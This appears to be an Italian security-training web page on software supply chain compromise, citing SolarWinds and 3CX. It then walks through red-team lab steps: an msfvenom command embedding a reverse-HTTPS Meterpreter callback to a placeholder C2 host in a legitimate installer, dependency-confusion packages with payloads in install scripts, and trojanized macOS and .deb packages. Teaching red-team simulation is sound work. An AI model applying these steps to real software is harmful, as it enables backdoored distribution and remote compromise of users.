Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
La compromissione della supply chain software consiste nell'alterare un'applicazione legittima — nel suo codice sorgente, nel meccanismo di aggiornamento o nella release compilata — prima che raggiunga l'utente finale. La tecnica rientra nella tattica Initial Access (TA0001), ossia la fase in cui l'avversario cerca un punto d'ingresso nella rete bersaglio. In questo caso il vettore è particolarmente insidioso: il software arriva firmato, distribuito dal vendor ufficiale, e l'utente lo installa con piena fiducia.
L'impatto è strutturalmente asimmetrico. Un singolo punto di compromissione — un build server, un repository, un installer ospitato sul sito del vendor — può propagare codice malevolo a migliaia o milioni di endpoint. La campagna SolarWinds Compromise ha raggiunto circa 18.000 organizzazioni attraverso un solo aggiornamento trojanizzato; l'attacco alla supply chain 3CX ha colpito un ecosistema da oltre 600.000 clienti e 12 milioni di utenti. I dati del framework documentano 9 gruppi APT, 3 malware dedicati, 2 campagne maggiori e 2 mitigazioni associate a questa tecnica. L'ampiezza del fenomeno — che attraversa settori governativi, finanziari, energetici e tecnologici — conferma che la supply chain software è diventata uno dei vettori di accesso iniziale più efficaci e difficili da intercettare.
Simulare un attacco supply chain in laboratorio richiede di riprodurre la catena: build pipeline compromesso → artefatto alterato → distribuzione → esecuzione con beacon C2. L'obiettivo non è colpire un vendor reale, ma dimostrare al cliente quanto sia fragile la fiducia implicita nel software firmato e distribuito internamente.
Il primo passo è creare un installer trojanizzato. Puoi partire da un binario legittimo e iniettare uno shellcode con msfvenom (open source, parte di Metasploit Framework). Il comando classico per produrre un eseguibile Windows con un payload Meterpreter embedded è:
msfvenom -p windows/meterpreter/reverse_https LHOST=<IP_C2> LPORT=443 -x <installer_originale.exe> -k -f exe -o installer_backdoored.exe
Il flag -x specifica il template eseguibile legittimo, -k mantiene il comportamento originale del programma in un thread separato. Il risultato è un installer che funziona normalmente ma apre una sessione verso il tuo listener C2.
Per scenari più sofisticati — dove il target è un pacchetto Python o Node distribuito via package manager — puoi simulare un dependency confusion attack. Crea un pacchetto con lo stesso nome di una libreria interna del cliente su un repository pubblico e inserisci un payload nel setup.py o nel postinstall script. Lo strumento Dependency-Check di OWASP (open source) può essere usato dal lato difensivo per verificare la presenza di dipendenze vulnerabili, ma durante il red team ti serve per identificare nomi di pacchetti interni esposti.
Lato macOS, simula un'app trojanizzata confezionandola come bundle .app con un eseguibile Mach-O modificato. Puoi usare Mythic (open source) come framework C2 per generare agent compatibili macOS e inserirli all'interno di un'applicazione apparentemente legittima.
Per rendere la simulazione realistica, firma il binario alterato con un certificato auto-emesso e distribuiscilo tramite un server web interno che mima il sito del vendor. Usa Caddy (open source) o nginx (open source) per servire la pagina di download. Il punto critico da dimostrare è la finestra temporale tra il download e la detection: se il SOC non ha alert sul code-signing o sull'integrità degli hash, il beacon parte indisturbato.
Su Linux, un approccio efficace è alterare un pacchetto .deb estraendolo con dpkg-deb -R, inserendo uno script di post-installazione malevolo in DEBIAN/postinst, e ricostruendolo con dpkg-deb -b. Il pacchetto risultante si installa con dpkg -i senza errori visibili.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo